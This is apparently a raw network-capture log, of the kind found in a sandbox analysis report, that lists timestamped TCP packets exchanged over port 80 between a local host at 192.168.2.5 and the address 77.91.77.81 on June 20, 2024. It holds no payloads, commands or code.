Jun 20, 2024 15:38:14.995066881 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.995078087 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.995100021 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.995109081 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.995134115 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.995140076 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.995166063 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.995173931 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.995198011 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.995208979 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.995232105 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.995240927 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.995265961 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.995269060 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.995309114 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.996860981 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.996911049 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.996912003 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.996946096 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.996958017 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.996978998 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.996984959 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997020960 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997030973 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997062922 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997070074 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997097015 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997106075 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997128963 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997138023 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997170925 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997179985 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997211933 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997219086 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997253895 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997263908 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997296095 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997309923 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997335911 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997349977 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997394085 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997399092 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997435093 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997437954 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997467995 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997479916 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997502089 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997509956 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997534990 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997540951 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997569084 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997575045 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997601032 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997612000 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997634888 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997641087 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997668982 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997677088 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997701883 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997709990 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997736931 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997744083 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997771025 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997780085 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997802973 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997812033 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997834921 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997843981 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997869015 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997878075 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997910976 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997919083 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997951984 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.997960091 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.997992992 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998002052 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998034000 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998038054 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998066902 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998075008 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998099089 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998106003 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998133898 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998142958 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998167038 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998176098 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998199940 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998209000 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998241901 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998253107 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998289108 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998298883 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998321056 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998323917 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998358965 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998370886 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998404026 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998411894 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998450041 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998459101 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998485088 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998492956 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998517990 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998526096 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998549938 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998558998 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998583078 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998589993 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998615980 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998624086 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998651981 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998656988 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998684883 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998697042 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998718977 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998728037 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998752117 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998760939 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998788118 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998792887 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998820066 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998827934 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998856068 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998862028 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998888969 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998897076 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998922110 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998929024 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998954058 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998963118 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.998986959 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.998996019 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.999020100 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.999033928 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.999053001 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.999062061 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.999087095 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.999094963 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.999131918 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.033132076 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.033185005 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.033219099 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.033243895 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.033251047 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.033282995 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.033302069 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.033303022 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.033335924 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.033348083 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.033369064 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.033377886 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.033410072 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.036811113 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.036860943 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.036873102 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.036894083 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.036900043 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.036926985 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.036959887 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.036973000 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.036992073 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.037025928 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.037034988 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.037060022 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.037101030 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.038989067 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.039038897 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.039043903 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.039077044 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.039122105 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.039129019 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.039163113 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.039210081 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.039215088 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.039256096 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.039263964 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.039295912 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.039328098 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.039339066 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.039360046 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.039391994 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.039403915 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.039433956 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.039434910 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.039464951 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.039510012 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.081579924 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.081643105 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.081679106 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.081687927 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.081705093 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.081712961 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.081737041 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.081758022 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.081763983 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.081798077 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.081846952 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.081855059 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.081902981 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.081904888 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.081943035 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.081975937 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.081989050 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.081989050 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.082025051 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.082030058 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.082062960 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.082093954 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.082094908 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.082119942 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.082128048 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.082135916 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.082160950 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.082170963 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.082194090 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.082204103 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.082231998 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.082237959 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.082263947 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.082283974 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.082298040 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.082304955 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.082329988 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.082340956 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.082362890 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.082372904 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.082401991 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.083100080 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.083151102 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.083184958 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.083200932 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.083216906 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.083236933 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.083250999 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.083261967 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.083285093 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.083296061 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.083319902 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.083363056 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.083930016 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.083983898 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084038973 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084042072 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.084089041 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084110022 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.084140062 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084141016 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.084172964 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084184885 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.084206104 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084216118 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.084250927 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.084256887 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084290028 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084300041 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.084321022 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084333897 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.084353924 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084362984 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.084387064 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084403992 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.084419966 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084433079 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.084450960 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084460974 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.084501028 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.084501028 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084537983 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084544897 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.084569931 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084580898 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.084602118 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084639072 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.084649086 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.084677935 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085108042 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085160971 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085194111 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085221052 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085227013 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085253954 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085261106 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085279942 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085304022 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085349083 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085381985 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085397005 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085413933 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085426092 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085447073 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085458040 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085480928 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085489988 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085522890 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085531950 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085566044 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085575104 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085597992 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085604906 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085640907 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085650921 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085684061 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085716009 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085731030 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085748911 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085755110 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085793972 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085798979 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085832119 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085843086 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085927963 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.085937023 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.085973978 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.086038113 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.086081028 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.086085081 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.086113930 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.086128950 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.086148024 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.086159945 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.086179972 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.086189985 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.086213112 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.086222887 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.086246014 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.086256027 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.086278915 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.086289883 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.086313009 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.086323023 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.086345911 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.086357117 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.086378098 CEST	80	49710	77.91.77.81	192.168.2.5
